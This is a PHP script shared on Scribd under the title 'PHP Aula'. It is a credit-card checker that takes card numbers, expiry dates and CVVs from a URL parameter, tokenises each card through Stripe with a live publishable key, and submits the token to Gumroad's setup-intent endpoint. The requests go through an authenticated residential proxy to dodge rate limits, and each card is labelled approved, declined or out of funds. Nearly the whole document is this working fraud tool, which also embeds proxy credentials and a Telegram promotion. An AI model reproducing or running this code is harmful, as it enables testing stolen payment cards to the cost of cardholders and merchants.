0% found this document useful (0 votes)
14 views3 pages

PHP Aula

PHP AULA ndfsd

Uploaded by

handrewassis
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
14 views3 pages

PHP Aula

PHP AULA ndfsd

Uploaded by

handrewassis
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

<?

php
session_start();
#############################################
error_reporting(0);
set_time_limit(0);
$time = time();
#############################################
$lista = $_GET["lista"];
$cc = trim(explode("|", $lista)[0]);
$mes = trim(explode("|", $lista)[1]);
$ano = trim(explode("|", $lista)[2]);
$cvv = trim(explode("|", $lista)[3]);

if (strlen($mes) < 2) {
$mes = "0$mes";
}

function chave($string, $start, $end) {


$str = explode($start, $string);
$str = explode($end, $str[1]);
return $str[0];
}

function getStr($separa, $inicia, $fim, $contador) {


$nada = explode($inicia, $separa);
$nada = explode($fim, $nada[$contador]);
return $nada[0];
}

function multiexplode($delimiters, $string) {


$one = str_replace($delimiters, $delimiters[0], $string);
$two = explode($delimiters[0], $one);
return $two;
}

$proxy = '603fc3e2cdde0144.byi.na.pyproxy.io:16666';
$proxyAuth = 'Venompcx7-zone-resi:Sober1721sg'; // Autenticação da proxy

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'./cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'./cookie.txt');
curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxyAuth); // Adiciona autenticação do
proxy
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Accept: application/json',
'Accept-Language: pt-BR,pt;q=0.9',
'Origin: https://js.stripe.com',
'Referer: https://js.stripe.com/',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
'Content-Type: application/x-www-form-urlencoded'
));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&billing_details[address]
[postal_code]=&card[number]='.$cc.'&card[cvc]='.$cvv.'&card[exp_month]='.
$mes.'&card[exp_year]='.$ano.'&guid=3c7db1b2-26f1-4fe5-ba7d-
c79d5244e3af4eee11&muid=ce47e0af-7de9-404a-b06c-a613c51572aca04b5e&sid=79eb9d3f-
642a-4bf8-a021-23a5d1ae7b275eb2c2&pasted_fields=number&payment_user_agent=stripe.js
%2Fc68765f93f%3B+stripe-js-v3%2Fc68765f93f%3B+card-
element&time_on_page=25611&key=pk_live_Db80xIzLPWhKo1byPrnERmym&_stripe_version=202
0-08-27');
$pegartoken = curl_exec($ch);
$pm = chave($pegartoken, '"id": "', '"');
sleep(1); // Delay de 2 segundos

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://app.gumroad.com/stripe/setup_intents");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
//curl_setopt($ch, CURLOPT_PROXY, $proxy);
//curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxyAuth); // Adiciona autenticação do
proxy
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Accept: application/json, text/html',
'Accept-Language: pt-BR,pt;q=0.9',
'Origin: https://app.gumroad.com',
'Referer: https://app.gumroad.com/checkout?
_gl=1*16caupe*_ga*NjgyNDEwODExLjE2OTAxNTU3NzY.*_ga_6LJN6D94N6*MTY5MDE1NTc3NS4xLjEuM
TY5MDE1NTc3OS4wLjAuMA..',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
'X-Csrf-Token: o73hosJmtWheHY8PItGhU5NQdptTw2jdxjXc4WKyt8M',
'X-Requested-With: XMLHttpRequest',
'Content-Type: application/x-www-form-urlencoded'
));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POSTFIELDS,
'status=success&type=card&reusable=false&stripe_payment_method_id='.
$pm.'&card_country=BR&card_country_source=stripe&permalink=');
$retorno = curl_exec($ch);
sleep(1); // Delay de 2 segundos

// Mostrar retorno completo


echo "<pre>Resposta completa da API:\n";
print_r($retorno);
echo "</pre>";

$erro = getStr($retorno, '"error_code":"','"', 1);

sleep(1);

if(strpos($retorno, 'cvc')){
echo '<span class="badge badge-info"style="background: linear-gradient(to right,
#00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);"> Aprovada </span> <span class="badge
badge-dark">'.$lista.'</span> <span class="badge badge-info"style="background:
linear-gradient(to right, #4300dc, #3a16e1, #2f23e6, #202deb, #0035f0);">'.$banco.'
'.$level.'</span> <span class="badge badge-info"style="background: linear-
gradient(to right, #00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);">Retorno:"N7" (CVC
Declined)</span> <span class="badge badge-dark"><a href="https://t.me/bullspriv">
@Sombra00 </span> <span class="badge badge-dark">('.(time() - $time).'
SEG)</span><br>';
}elseif(strpos($retorno, 'success":true')) {
echo '<span class="badge badge-info"style="background: linear-gradient(to right,
#00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);"> Aprovada </span> <span class="badge
badge-dark">'.$lista.'</span> <span class="badge badge-info"style="background:
linear-gradient(to right, #4300dc, #3a16e1, #2f23e6, #202deb, #0035f0);">'.$banco.'
'.$level.'</span> <span class="badge badge-info"style="background: linear-
gradient(to right, #00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);">RETORNO DE SUCESS
TRUE ✅<</span> <span class="badge badge-dark"><a href="https://t.me/bullspriv">
@Sombra00 </span> <span class="badge badge-dark">('.(time() - $time).'
SEG)</span><br>';
sleep(1);
}elseif(strpos($retorno, 'funds')) {
echo '<span class="badge badge-info"style="background: linear-gradient(to right,
#00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);"> Aprovada </span> <span class="badge
badge-dark">'.$lista.'</span> <span class="badge badge-info"style="background:
linear-gradient(to right, #4300dc, #3a16e1, #2f23e6, #202deb, #0035f0);">'.$banco.'
'.$level.'</span> <span class="badge badge-info"style="background: linear-
gradient(to right, #00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);">SEM SALDO </span>
<span class="badge badge-dark"><a href="https://t.me/bullspriv"> @Sombra00 </span>
<span class="badge badge-dark">('.(time() - $time).' SEG)</span><br>';
}elseif(strpos($retorno, 'charge_automatically')) {
echo '<span class="badge badge-info"style="background: linear-gradient(to right,
#00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);"> Aprovada </span> <span class="badge
badge-dark">'.$lista.'</span> <span class="badge badge-info"style="background:
linear-gradient(to right, #4300dc, #3a16e1, #2f23e6, #202deb, #0035f0);">'.$banco.'
'.$level.'</span> <span class="badge badge-info"style="background: linear-
gradient(to right, #00e9ff, #00f1f3, #00f7de, #00fcc0, #00ff9b);">DEBITOU NA CC
</span> <span class="badge badge-dark"><a href="https://t.me/bullspriv"> @Sombra00
</span> <span class="badge badge-dark">('.(time() - $time).' SEG)</span><br>';
}elseif(strpos($retorno, 'later')) {
echo '<span class="badge badge-info"style="background: linear-gradient(to right,
#ff007a, #ff0062, #ff0049, #ff002d, #ff0000);"> Ip bloqueado </span> <span
class="badge badge-dark">'.$lista.'</span> <span class="badge badge-
info"style="background: linear-gradient(to right, #8500dc, #7a00e1, #6d00e6,
#5e00eb, #4900f0);">Limite Excedido Na Gateway/Mude Ip</span> <span class="badge
badge-dark"> <a href="https://t.me/bullspriv"> @Sombra00 </span> <span class="badge
badge-dark"> ('.(time() - $time).' SEG)</span><br>';
}else{
echo '<span class="badge badge-info"style="background: linear-gradient(to right,
#ff007a, #ff0062, #ff0049, #ff002d, #ff0000);"> Reprovada </span> <span
class="badge badge-dark">'.$lista.'</span> <span class="badge badge-
info"style="background: linear-gradient(to right, #ff007a, #ff0062, #ff0049,
#ff002d, #ff0000);">'.$banco.' '.$level.'</span> </span> <span class="badge badge-
dark"><a href="https://t.me/bullspriv">@Sombra00</span> <span class="badge badge-
dark">('.(time() - $time).' SEG)</span><br>';
}

?>

You might also like